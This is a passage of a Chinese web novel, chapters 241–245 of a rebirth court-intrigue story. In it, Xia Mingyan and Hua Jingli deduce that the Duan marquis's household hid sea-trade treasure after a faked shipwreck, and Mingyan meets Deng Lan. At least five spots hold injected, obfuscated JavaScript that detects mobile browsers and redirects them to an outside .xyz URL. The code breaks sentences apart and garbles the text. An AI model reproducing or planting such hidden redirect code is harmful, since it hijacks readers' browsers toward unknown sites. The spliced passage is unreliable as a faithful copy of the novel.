夏明嫣叹了口气,他还是比她想得透:“你猜得没错,我最近才知道了一些事,我怀疑端侯府那边不仅握着夏家的大把柄,楚家更是参与其中,还有一个陆家,就是流放到彭州的那个,说不定也参与过,但这一点我还不能确定。” 那件大事发生的时候,夏庸还没入仕,夏家还是彻头彻尾的寒门小家,那时还是夏老爷子掌家,那时他还只是从属于户部的一个从六品官。 夏老爷子根本没资格参与这么大的一件事,唯一能让他和夏家入局的,只有世交楚家的引荐。 夏老爷子和楚霆孝不是同乡,却是同侪,他们是同一年的进士,只是科考取得功名之后,因为各自的家世和机遇不同,彼此的命运也截然不同。 楚霆孝的父亲本就是上一朝的宰相,楚家树大根深,从取得了功名开始,之后的任职派官、人脉铺陈、晋升机会……两人就都处在了分水岭的两边。 楚霆孝步步高升,最终接了他父亲的班,父子同朝,成为当朝左相。原以为他跟夏老爷子早就疏远了,但其实并不是。 夏老爷子喜欢篆刻和石雕,这一点竟然跟楚霆孝的爱好一样,也正因为这一点他们两个即便在朝堂上的位置天差地别,私交上却一直维系得还不错。 而一个身居高位的人也并不是不需要下位者的支持,相反的,他还需要在下位者中发掘有潜力的为他所用。 也正是出于这样的考虑,在杨氏过世之前,楚霆孝发现了夏庸是个可塑之才,由夏庸坐上空缺的兵部尚书之位,最能平衡几方势力,这也就有了后来夏庸续弦楚氏,而楚霆孝支持夏庸和夏家的事。 当年老端侯私犯海贸这么大的事儿,也绝不可能是他一家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504021|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 所为,而夏家那时还不具备参与这件事的实力,要是参与了必是被楚霆孝拉入局的。 尽管如此,以夏老爷子那很一般的能耐,夏家也定不是那主要参与的,夏老爷子他们大概充当的就是端侯府和楚家之间的中人,这也就促成了多年之后两府的联姻。 而正是因为两府之间有着共同的秘密和利益,上一世夏明嫣即便只能做妾,夏家也是一样要把她嫁过去的,这一世即便是如珠如宝的夏明月也必须忍气吞声。 而老端侯这边也定然有他自己必须放入局的心腹挚交,这一家最可能的就是陆家,因为陆远山才是最早和楚氏定亲的那个人,是陆家坏了事儿,被发配北疆了之后两家的婚约才废止的。 这两世,陆家都将尚在襁褓中的夏明月送了来,楚氏或许还能说是因为旧情难忘才拼了命地为夏明月治病,最终机缘巧合之下,导致了夏明月和她的亲生女儿互换之后再也换不回来了。 可楚霆孝不是,他是逼着楚氏认下夏明月的,甚至逼着她假戏真做了这么多年,竟然自己都当真了,这若不是有天大的秘密要掩埋,如何会做到这种地步? 甚至于杏儿能活着,也是因为霞姑姑良心发现,不然她早就死在楚霆孝派去的人手里了,那可是楚霆孝真正的亲外孙女啊。 华靖离沉吟道:“陆家跟这件事也有关系?那反倒不奇怪了,陆家当初之所以被流放,罪名是附逆,也就是依附逆王行大逆不道之事。” “那时我也还小,了解得不多。可是你想,陆家一大家子都是文官,他若是依附逆王,他拿什么依附?若只是写了些大逆不道的文章,还不至于全族流放,最多只是陆家在朝为官的男丁会被流放。” “全族流放,要么就是出了人,要么就是出了银钱了。陆家世代清流,哪里来得那么多银钱?除非他们一早就跟着老端侯做过这海贸的买卖。甚至在出事之前,已经很多次了。” 第241章这么多财宝,他们忍得住? 要是这么说的话,即便发生了那场海难,至少陆家和老端侯也都是应该有些积攒了的,陆家被抄了,这事儿暂时无从考据,可是端侯府怎生就这般穷了? 夏明嫣眼前忽然浮现出李玦的脸,上一世的许多画面在她眼前浮现而过,她忽然一拍桌子,说了句: “他们家的银子都去哪儿?我不觉得是被抄了,一定都还在,不然李玦他凭什么那么肯定自己能重建李家军?只是究竟在哪儿呢?这么多年他们竟然都没有取用过……” “你让我想想,李玦,我是说现在的李玦应该还不太清楚这件事,不过何夫人应该跟他隐晦的说起过,不然他不会把李家军的事说到你和我父亲面前。” “你是不知道,在这一点上我父亲和你一样,都是反对的,他说过,朝廷不会再增加新的府军,就算圣上碍于昔日的从龙之功,偶然松了口,也会让他们知难而退。” “到时候朝廷一不给人,二不出钱,全部都要他们自筹,现如今的端侯府到哪儿去筹这些去?当时李玦那个表情,要不是低着头,让我父亲看见了,八成会把他打出去。” 李玦对夏庸的意见不以为然,他很笃定自己一定能重建李家军。 怪就怪在这里了,如果没有祖上攒下的资财,李玦绝对不会有这么大一笔财富,他总不能全指望这抢华靖离和华家的。 华家的家底再厚,也要养着华家军呢,他想要人家也不会给,就算最后他把华靖离的东西都抢了过去,他想用那些积攒同时养着华家军和李家军也不可能。 华靖离何尝没有确定一件事,他叹了口气:“现在想来,不仅是之前私犯海贸的积攒,那次海难和所谓的沉船和海匪就一定是真的吗?” “什么……什么意思?难道根本就没有海难和海匪,那么多银钱和货物都被他们藏起来了?”夏明嫣惊呆了。 要是真的,这胆子也太大了吧?可是仔细想想,这完全有可能。 当地海上多风浪和海匪,也多有船只被劫,可具体到那一天到底有没有大风浪,有没有穿对沉没,那一天有没有海匪出没,究竟劫没劫船队,要是劫了,到底有没有劫老端侯主导的船队的,这些可就不好说了。 那是海,不是江河,两个瞭望哨都没有,穿要是沉了,也就最多找到一些船体的残骸,谁能知道当时具体是怎么回事? 华靖离端侯府的胆大妄为气笑了:“也不一定没有风浪和海匪,有可能船队的确有过些损失,也曾经失去过踪迹,可说不准之后船队的人自己找回来了,或是他派了人去,先朝廷一步把剩下的船队找了回来。” “那些钱财和货物当时已经在朝廷这边报了失,圣上也已经发作了老端侯,他们就索性把那些东西都扣了下来,留做己用。” 他停顿了一下,加重了语气,“其实圣上当年也不是全无察觉的,他没有彻底发作了老端侯和端侯府,还给李玦留了一个袭爵的希望,也是因为曾经这样想过。” “他想着,若是老端侯当真如此胆大妄为,这笔财富早晚是要露头的,他派了人暗中盯着端侯府的一举一动,只为了这一天的到来。” “可是……老端侯在那件事之后不久就病重仙去了,这些年端侯府都穷成什么样了,他们还真忍得住一点都不往外拿出来花?” 夏明嫣疑惑地道,“我刚才算了一下,当年他们的本钱就是整个南疆府库,相当于至少四分之一大恒府库的全部财富。加上海贸贩回来的货物还有回程途中已经卖掉变现了的,就算这些年他们一点都没有经营。” “以海贸贩回的货物实际上会原本价钱的三倍以上,这笔财富要是还在的话,少说也有现在大恒府库的三分之一那么多了。” 今时今日的大恒比当年要强盛,府库比从前要充盈,这个占比就要下降了一些。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513047|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可要是放在那时,这些东西的总价值恐怕已经超过了大恒府库的一半数额,真是可怕,太可怕了。 这要是真的,李玦和端侯府上上下下一大家子,竟然能守着这么大一个聚宝盆过了这么多年,还忍着一文钱都没有用,光是这副受得住诱惑的心性就已经很怕了! 华靖离看了她一眼,伸手在她额头中间戳了一下: “想什么呢,这些年圣上一直派人盯着他们,他们定是想到了的。只要他们动了里面的东西,哪怕只是取了几千两银子出来,也会被人跟上去,从而找到藏着这笔财宝的地方。” “况且这么大一笔财富他们能放在哪儿?要我说当年这笔财富压根就没有进大恒,还不知道在哪儿藏着呢。端侯府的人不方便过去找,动静太大了,他们只能忍着,忍到所有人都放松警惕的那一天。” “你仔细想想上辈子李玦重建李家军之前有没有发生过什么?他们是不是有可能那时候去取那些东西了?” 在大恒之外的地方,这地方一定很是隐秘,不然这么多年过去了,早就被外面的人占了也未可知。 夏明嫣忽然脸色一变,她想到了什么,气得猛地一拍桌子,连自己的手都拍肿了: “在那之前当今圣上驾崩,太子继位,太子……那个时候的新帝给他下了一道密旨,说要他去代替自己去西南祭拜龙脉,那时候她不是有两个多月不在么?” “应该就是那个时候,难不成那些财宝藏在龙脉的山里了?也不对,我觉得……觉得可能是我坏了事儿,他当时问我杨家的祖先是如何在水下养蛊的。” “我也不是很懂,他拿给我祖母求药要挟我,我只能把一本制造机扩的书给了他。那上面讲的是杨家在水下养蛊时用的一种机扩,简单来说就是用一根设计过能够在水下调整的铁索,在上面绑好养蛊用的水罐,然后用这跟铁索将它们相连后沉入水底。” 第242章邓家是关键 有些蛊需要在流动的海水中养,为的是借用海底的盐分、压力、温度和水流的力量,先把活蛊封入特质的蛊罐里,挂在特制的铁链上。 铁链上有挂钩,通过一个机关和一根特质的、特别长的鱼线将铁链放入海水深处,那铁链上的每一环锁扣都是根据海水的浮力和压力特质的,能在水下悬浮而不至于因为水流的流动而搅在一起甚至搅断,等到时间到了,蛊养成了,再通过机关和鱼线将铁链和蛊罐提上来。 夏明嫣想着那图册上锁链,脸色都不好看了:“可是那锁链是用来挂蛊罐的,里面养的是活蛊,即便一下子串上一千个罐子,先用船拖上浅滩,再找几个力夫就能拉上岸去。” “可是那么多金银、细软甚至还有货物,要是沉入海底,那得多沉,也不可能悬浮在海中,那不得直接沉底了,怎么可能拉得上来?” 就算铁索的强度够,鱼线的韧性也没有那么大,把那么重的东西提上来,非断了不可。 要是换上别的材质的悬挂线,哪儿有那么长、强度还够的?要是用精铁打制,重量又太沉了,放在水里,会连带着上面拴着的所有东西都一起掉下去。 华靖离笑了一下,提起一段往事:“你知道端侯府是如何起家的?又为何开朝之后华家坐镇北疆,而端侯府则坐镇南疆?” “因为李家擅长水战?”夏明嫣问道。 她记得李家军在再一个前朝的时候曾经出过一个海匪头子,但是被当时的朝廷给诏安了,之后就在当地拉起了一支人马,负责护卫商船和渔船。 别的李玦和何夫人倒是都没提起过,这里面知道内情的恐怕只有邓澜了,可是邓澜也犯不着跟她说这些。 华靖离提起这些往事不是没有赞叹的:“李家祖上有一支师从墨家,擅长机关之术,等到李家在前朝参与海战的时候,他们这机关之术便用到了造船和建造水下机关上。” “只是年代久远,精通此道的人多数失了传承,如今他们的子孙、弟子还精通此道的恐怕已经不多了。不过不多并不是没有,我猜他们拿了你那本册子,对上面的东西也不是直接就用了的,定是经过了一番改良。” “改良之后,他们就设法将藏在水下的东西取了出来,之后便有了银子重建李家军……这辈子他们没你这本册子了,想必更难把那些东西拿出来了。” “要是我们能知道那些东西大致的位置就好了,取出来,刚好能把朝廷的府库填起来。” 这么说就说得通了,那地方别人不知道,可端侯府暗中的人这些年一定没有放弃过,他们一定在那些东西附近研究取出东西的方法。 只要有人在,就不会完全没有痕迹,想到了这一点,总是能找到的,尤其是……还有邓澜。 夏明嫣茅塞顿开:“除了袭爵,对端侯府来说最重要的就是这笔财富,什么能让何夫人和李玦许了邓澜正室之位,如今看来最大的可能就是邓澜的父亲跟这些东西有关。” “我刚才仔细回忆了一下,邓澜的父亲那走路的样子,倒像是从前常在船上行走的人,我猜他就算不是那次海难上逃回来的人,也定于那支船队有关。” “这就是他拿来拿捏整个端侯府的利器,可是因为这些东西已经沉了海了,是看不见也取不出来的,甚至不知道何年何月才能取出来,他这拿捏也就不彻底了。” 只要这些东西一日没有拿出来,何夫人和李玦就不能把他灭了口,因为万一位置有误,留下他也能有个确定、核对位置的人。 可也是因为这东西很难取出来,变不了现,邓父便在何夫人和李玦面前要不了强,每次去闹,人家仨瓜俩枣的就能将他打发了! 夏明嫣下定了决心,咬牙道:“我明日就去找邓澜,如果我猜错的话,上一世她愿意顶替我嫁给李玦,也是为了能快点离开她那个家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15513048|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” “可是他们家里虽然破落了,她也还是个有身份的姑娘,要想让她名正言顺地离了家,最直接的法子就是让她嫁出去。” “侯爷,靖离……你这个贵妾恐怕是得纳了,正好你身子好了,华家也应该再进一喜,冲一冲这连日来的晦气,这件事就交给妾身吧,让妾身去办。” 华靖离看到夏明嫣眼中跃跃欲试的光,心里就跟打翻了醋坛子似的,酸涩啊: “我记得你们上辈子的关系不错,你这是要给我纳妾,还是给你自己纳妾?你可别忘了,如果我们刚才想的没错,上辈子邓老爷肯把女儿嫁进端侯府,为的就是巩固他们之间的联盟。” “这辈子夏明月嫁了过去,何姑娘依旧做了贵妾,但到现在端侯府那边都没提要抬你这好姐妹进门的事。他们尚且如此,你怎么就知道邓老爷一定愿意把女儿嫁给我做贵妾呢?” 这是一种互惠互利的关系,何夫人担心邓父说的宝藏位置有误,也担心他会私自想办法去动那些东西,才答应让邓澜过门做正室。 邓澜是邓父唯一的女儿,何夫人这么做也是想让邓澜待在自己的眼皮子底下,关键时候能够用来要挟邓父。 而邓父太长时间没能将那些东西取出来,眼看着不知道要拖到什么年月了,说不定等李玦都有孙子了还取不出来呢,他便想着将邓澜嫁进去,以便向何夫人和李玦示好,表示他的诚意。 至于邓澜么,她母亲早逝,父亲既是个酒鬼也是赌鬼,瘾上来的时候根本就是个六亲不认的。这种情况下,她要逃离家里,最好的法子就是嫁人。 可现在的关键就是,邓澜在婚事上只能顺势而为,邓父提出让她嫁谁,她要是觉得不行,那就再换一个,可即便换了,也还得是邓父选的。 现在的邓父还没完全对那些宝物死心,他的女儿是要待价而沽的,怎么会莫名其妙地进了华侯府做妾呢? 第243章再遇邓澜 “那就要用些手段了,你继续盯着元京府那边的事,邓澜和吕家那边交给我,不出两日,两边都必有回应。” 夏明嫣叹了口气,她实在不能将话说得太多,说多了,难免他要觉得她满腹心机。 这事儿也是不公平,他都是战功赫赫的钩翊侯了,他自己能没点儿心机、打算么?凭什么她一沾这些事儿他就露出这种表情来。 夏明嫣没再多想,这一晚二人商议得很晚才要歇下,本来夏明嫣该是回自己那屋儿去的,可他们为了不被人听了去,本来就是到静心居去商议的。 静心居离他们的住处有一段儿距离,两个人都累了,都不想回去。 这下子他们自己和秋果、葱白都尴尬了,因为他们虽然是夫妻,可是一直都没有圆房,而静心居只有正房是能住人的,两边的厢房不是药室就是书房和堆放东西的地方。 也就说,他们要是都留下的话,就只能都住在正屋。 夏明嫣想了想,总不能让华靖离这个刚刚康复了的侯爷再辛苦走夜路,还是她走吧。 可是秋果说她站了一天了好累,就想到药室去迷糊一夜拉倒。 葱白推说自己浑身哪儿哪儿都疼,还说华靖离这回好了,以后都不知道还要过多久才会回静心居住,他也想在这儿多留一晚。 夏明嫣没法子,一咬牙便道:“我把铺盖搬到地上睡,侯爷自己早点歇了吧。” 华靖离拦住了她:“你把我想成什么人了?要不这样,世上有悬丝诊脉,我们今日就以丝线为界划榻而眠,你看如何?” “刚好,我看了,这帐子虽然洗过也熨烫过了,确实是我养病时用的最多的一顶。你过来睡,刚好看看我这帐顶好不好?” “成吧,那你可不能逾矩,要是丝线断了……为你是问。”夏明嫣先就红了脸,真要有什么她还能把他怎样么。 华靖离得了便宜还卖乖,竟然还亲手把二人之间的那条线给挂上,用的倒不是线,是别的打的络子。 夏明嫣原以为这一夜是不好睡的,定是无眠,恐怕要快天亮的时候才能小睡上一会儿,却不想她的头一沾枕头,很快就睡着了。 第二日她醒来的时候华靖离已经出门去了,说是又找来了一位仵作,赶着要去重新给吕大姑娘查验尸身。 夏明嫣梳洗妥当之后,也赶忙让人套了马车来,带上秋果直奔邓澜家而去。 谁知走到半道上,却碰见了骑马归来的乔依心,她昨晚也回了家,这也是一大早就出来去吕家附近盯着了,可是这会儿她已经就要打一个来回了。 夏明嫣把乔依心迎进马车来,先把马车里的茶递给她,让她缓一缓: “吕家那便出什么事儿了?难道是背后的人有行动了?吕二姑娘没事吧?你怎样,有没有受伤?” 乔依心快速地灌了自己两盏茶,吃了块儿点心,也顾不上嘴里的点心渣子便道: “你别紧张,哪儿有那么快?况且他们为了不引起你的主意,怎么也不能你前脚刚走,就要让人上门来灭吕二姑娘的口。” “我来是想跟你说,昨日和今早有个人总在吕家附近闲逛,名义上是出来散步的,想要多走动走动,这个好像就是你说的那个邓澜。” “你见到邓澜了?那敢情好,我正要找她呢,她怎么就跑去吕家了?”夏明嫣觉得奇怪。 如果按照之前霞姑姑的说辞,李玦跟顶替她的那一家子早就另有了婚约,只是一直没有公开罢了。 而这一世,夏明月嫁了过去,占了端侯府未来主母的位子,那么邓澜和李玦的婚约到底解除了没有? 要是没有,邓澜就跟端侯府还有关系,她去吕宅,就是想要收买吕二姑娘。 要是有,已经解除了,她来吕宅这种地方,周围三教九流的市井之徒比比皆是,她可能得不到她想要的,也不怕被人冲撞了。 乔依心不知说什么好:“这就是最让人奇怪的地方,她说她是来看望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519356|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吕二姑娘的。吕二姑娘她也不知道哪个是要害她、害吕家的,听了你的话之后,就想着只要上门了的,她都得见见。” “谁知这邓姑娘被迎进来之后,先是一言不发,后来就打量着吕二姑娘欲言又止,就跟她家有家人得了大病,不得不找人借钱似的。” “吕二姑娘不知道该怎么跟这样的人打交道,就由我来问她,谁知道她还是什么都不说,还打听起你来了。我就索性过来接你,咱们块点儿过去,说不定她还没走呢。” “她要见我?她有没有说为什么?”夏明嫣大惊。 应该不会这么巧吧,邓澜执意要见她,难不成邓澜也重生了?那么邓澜为什么之前不来找她,难不成是刚刚才重生的? 乔依心说不清楚,总之就是邓澜这个人有点怪,说话吱吱唔唔的。 正当夏明嫣感慨着难道老天爷这么爱跟他们开玩笑,居然又让一个人重生了的时候,乔依心朝车夫吆喝了一嗓子,车夫快马加鞭,没一会儿马车就到了吕宅。 他们到的时候邓澜刚从吕家出来,就那么的跟他们碰上了。 夏明嫣隔着老远就开始打量邓澜,邓澜却是一副躲躲闪闪还很是尴尬的样子,那眼神、那姿态,是一点都不像上辈子最后的她。 夏明嫣松了口气,她可以确定,邓澜没有重生,而且这一世邓澜还是第一次见她,目光躲闪不是因为怕被她认出来,而是应该有什么难言之隐。 邓澜上一世虽然跟她相处得不错,也没有害过她,可是她身上有这么多的秘密,这一世又不知道有没有变数,要是她也重生了,真不知道这一世她们二人又会如何。 上一世,她们二人都是李玦的女人,同处一个后院,大的目标是一致的,邓澜纵使有别的秘密,只要她没有触犯邓澜的原则,邓澜就不会害她。 可是这一世就不一样了,夏明嫣嫁给了华靖离,成了华侯夫人。邓澜虽然还没有嫁给李玦,可她毕竟是李玦的表妹…… 第244章做另一个买家 也就是说,上一世她们两个至少表面上的立场是一致的,这一世却是对立的,在把邓澜拉到她这一边之前,她还不能下定论。 邓澜这时还是腼腆的姑娘,她目光柔和,身上有一种天生的能温暖人心的感觉,上一世这种感觉一直持续了十几年,之后一直温暖着夏明嫣和她身边的人。 昨日跟华靖离做了那番分析之后,她想过邓澜一定不是一无所知的,可是邓澜也是一个身不由己的人,正像是她自己说的那样女子一生如浮萍,只能随水漂流。 上一世邓澜嫁入端侯府之后,从来没有害过任何人,只是为了能在府中立足,跟她联手对付何雨萍。 邓澜是个有大智慧的女子,可惜身子不好,她在外帮李玦筹谋,而邓澜管着端侯府的内账、何夫人府里的借住的亲戚们。 那一辈子,她劳心劳力地稳定内宅,她们熟络起来之后,她被问起为什么嫁给了李玦做正室,还总是郁郁寡欢,她每每只是看着远处出神,说是每个人都有自己不得已的地方。 夏明嫣后来想过,邓澜这么做是不是为了她的父亲,那个酒鬼,那时邓澜是怎么说的?说有些人的生死也是由不得自己的,只能这么活着,能活一天是一天,尽力让自己活得好些也就是了。 现在想想,要是邓父当真掌握着那么大一个秘密,怕是不仅是端侯府,就是楚、夏、陆三家也不会让他**。 可是把这么一个人关起来、严刑拷问,非要逼出那批宝藏的下落也不现实,一是这些人肯定心里清楚圣上一直暗中派人盯着当初从海上活着回来的那几个人,谁要是真把邓父给怎么样了,谁就是那个藏匿宝藏嫌疑最大的人。 再者,还是技艺不行,那边的人一直没找出一个能把宝藏捞出来的方式,那么即便知道了宝藏的确切位置,也打捞不上来,知道了也是白知道。 就这么的,一个醉鬼、赌鬼反正也翻不出天去,就在外面晃着,把他的亲生女儿握在手里,等到什么时候具备了把宝藏打捞出来的条件了,再让他吐口也不迟。 上一世的时候,邓父是在邓澜过世前几个月过世的,算算时间,也就是在那时吐了口,也就是在那之后,邓澜也没用了,几个月后药石无灵,再无生机。 那时候夏明嫣在南疆,回来之后她想要查问邓澜身边服侍的人,却发现这些人无一例外,全都不知所踪。只有府里服侍的老人悄悄告诉她,是因为有一味很重要的药断了,邓澜自然就熬不住了。 李玦去南疆之后,在被封为端王之前,府里乱过一段时间,也困难过一段时间,哪味名贵的药材断了也不是不可能的。 夏明嫣查了一段时间,也没查出这里面有人是故意的,最终也就不了了之了,可现在想想,就是因为这对父女已经没用了,就有人断了她们的生机了,让她们在不被人怀疑的情况下死去,彻底湮没那个秘密。 而在几个月之后,李玦得到了一笔财富,当时南疆作乱的不止一常王,还有几个上一代的老王爷还有两个要被收回府军的军侯府,他说是从这些人这里缴获的。 因着那时圣上已在弥留之际,李玦已经暗中投效了太子谢维,当年圣上也曾经说过若是他能自己筹到人马和钱财,就允许他重建李家军,尽管当时圣上这么说,是因为根本就不相信他能做成,可那时圣上已经管不了事儿了,掌管着整个朝堂的是太子谢维,这些所谓的缴获逆产也就名正言顺地成为了李家军起家的资本了。 邓父是当年船队“生还”之人,回到大恒时便替老端侯撒了谎,他犯了欺君之罪,藏匿货物和属于府库的银两、财富,还可能参与杀害了那些货船上的府军和船工,他哪里敢说真话。 而邓父连带着邓澜上一世之所以死死地绑在了端侯府这条船上,还有一个非常重要的原因,就是他们身边没有出现另一个能够买下他们手里秘密还能保障他们安全的“买家”。 这个秘密告诉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15519357|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朝廷,邓父要死于律法之下。 将秘密卖给其他逆王,距离太远,在把消息传出去的这个过程中就已经被端侯府和另外几家察觉了,还有朝廷派来暗中监察着他们的人,都能先一步要了他们的命。 那么这一世,夏明嫣在心里叹了口气,就让她跟华靖离做这个“买家”吧,把这件事提前十几年揭出来,趁着圣上年富力强的时候,让这段恩怨彻底完结在这一代帝王身上。 邓澜先向夏明嫣行了礼,语气有些忐忑地道:“华侯夫人安,我叫邓澜,你或许不认识我,我的母亲姓何,是端侯府侯夫人何氏的妹妹,我是李世子的姨表妹,端侯府的何小娘是我表姐。” 何雨萍是何舅父生的,邓澜是何小姨生的,何小姨和现在端侯府借住的何姨母也是姐妹。 何夫人要通过娶妻纳妾给李玦增加助力,可除了夏家这种早些年就与他们私下勾结了的人家肯把女儿嫁过去,又还有哪个高门大户是肯的? 她只能先从自家这几个沾亲带故的亲族人家下手,上一世李玦光是表妹就一娶一纳收了两个,这一世夏明月代替了邓澜的位置,邓澜如今才在府外。 夏明嫣对邓澜是很有好感的,要论从前,她真正意义上的姐妹除了乔依心,其实就是邓澜了,尤其若论起陪伴的时间,还是邓澜在她身边的时间更长些。 夏明嫣忍住姐妹叙旧的冲动,只如对待亲戚家的姐妹般:“是邓家姐姐啊,我家二妹妹嫁与了你的表兄李世子,咱们就算是亲戚了。” 她往身后的吕家看了一眼,“姐姐这是……怎么到这儿来了?难道你也与吕二姑娘相识?她家最近出了事,与我那华家的二弟有些关系,我这就是来看看,难不成这事儿也与你家有关?” “难不成是何家还是邓家哪位族亲的公子被牵扯进去了?要是这样可就麻烦了,现如今只能自证清白,可是时间久了,许多事儿都没了人证、物证,只能走一步看一步了。” 第245章要拉她和华家入局 邓家、何家的儿郎当然没有被牵扯进去,吕大姑娘当年待的地方老实说他们两家的子弟那时候已经去不起了,怎么也牵扯不到他们头上。 这让邓澜更不知道该怎么解释了,按理说她的确没有道理到吕家来,还去问候吕冠瑛,可是她也是没有法子的,她要是不说,以后定是要一直被这件事困扰的。 甚至吃力不讨好,之后被人知道了,人们定是说她的不是的,她家业凋零,父亲就是一个酒鬼,这两年甚至还染上赌的毛病,再来些人因此针对他们家,那真是没法活儿了。 邓澜在心里叹息,她父亲从南边儿回来的时候她还没有出生,小时候也不知道是怎么回事,只听她父亲说不要到外面乱说家里的事儿,还让她只管过好自己的日子,别的都不需要管,只要熬下去了,将来有的是好日子过。 后来邓澜大了,其实也猜到了一些,当年她父亲回来后就落了罪,官职被一撸到底,成了白丁,差点儿没被板子打死不说,瘸了一条腿,还服了八年的劳役,好不容易才保下一条命来。 母亲日夜担惊受怕,在那时便病死了,他们家就像断了亲一样,只端侯府那边还有联系,可就算如此姨母也总是阴阳怪气地说是她父亲做了不好的事,害惨了端侯府。 其实细算下来,她父亲这辈子能做什么大事儿还是不好的?无外乎是当年她姨夫被圣上发落的那一回。 而在那场海南中,她父亲不仅是当时的李家军的人,还是负责全体船工的统领,要出事儿也一定是在这件事里了。 邓澜也知道,他父亲是把端侯府那边的人都得罪死了,可她也知道父亲手里一定还有什么能拿捏住他们的东西,不然姨母何夫人这么些年定是早就留不得她父亲的。 她们两家这关系啊,一进一退的,是绑死了的,可她虽不知那东西是什么,也知道那是顶顶紧要的东西,有这么紧要的东西在身边,他们却要一直受控于端侯府,她心里觉得不值,也不想这样一直下去。 眼下机会就来了,眼前的这个人是她表嫂夏明月的姐姐,听说在赏花宴上的表现颇有担当,她现在手上也有一件事儿,是个机会,或许能够通过眼前的人解决,并且因此搭上华家。 其实之前因为另一件事,邓澜就知道了夏明嫣这个人,只是她早就知道了夏家私底下与端侯府沆瀣一气,她并没有拉拢夏家的打算。 可是夏明嫣顺利嫁给了华靖离,华靖离还奇迹般地伤愈了,这就不一样了,她这份待价而沽要是能让他们搭上华家,或许还有救…… 邓澜尴尬地笑了笑:“刚才听乔姑娘说了才知道,华侯夫人竟是吕二姑娘最近见的第一个外人,倒是也没想到夫人才过了一日就又来看吕二姑娘了。” “你对吕家如此关注,也不知道我这桩小事还能不能帮上忙了,更是不知道夫人是不是已经知道了这桩小事。” “小事儿?最近就没有小事,邓姑娘不认识吕二姑娘,这时候还来拜访,这桩事儿就不是小事儿了。你我亲戚一场,年纪又相仿,就别一口一个夫人、姑娘的了。” 夏明嫣笑了笑,请她到马车上一叙,“要不你叫我阿嫣吧,或是明嫣,我便叫你澜姐姐,你看如何?” 邓澜不觉得夏明嫣是一见自己就觉得特别亲切才这么说的,可能就是客气客气,不过这已经很好了,就算是因为最近被吕家的大事儿闹的,寄希望于她知道的这件事儿,她也认了。 总之,给她这个开口的机会就好,当然了,华家也可能是另一头狼,可再怎么说她也不能坐以待毙。 要是她跟她父亲最终都挣脱不出去,那她也不打算让端侯府好过,她把华家拉进来,让华家打得端侯府找不到北,也算是报了这多年之仇了! 马车踢踢踏踏地走了一阵,一会儿就到了一处别院,这儿是乔家的地方,从前就是一个庄子,周围廖无人烟,庄子上也就几个老仆,此刻也都躲得远远的了。 乔依心带着他们去了主屋,屏退左右,之前她就听夏明嫣说起这个邓澜如何的不简单,这会儿瞧着柔柔弱弱的一个人,看着也没什么复杂的。 可是既然夏明嫣都这么说了,她也就也这样想了,为了放心,索性自己也出去给她们望风。 待人都走了,夏明嫣才道:“其实澜姐姐不上门,我也是要上门找澜姐姐的,实在是有一件事想听你解惑。” 邓澜先是一愣,听起来不像是她要说的这一桩,只不过不知是哪一桩:“阿嫣妹妹从前就听说过我?只是不知是哪一件?据我所知,我们两家从前并无往来。” “婚事,我从前的婚事。”夏明嫣直截了当地道。 她对邓父和邓家最早的怀疑源自赏花宴后栗羡鱼的那番话,当时栗羡鱼说在夏明嫣回元京之前,何夫人就有了悔婚的意思。 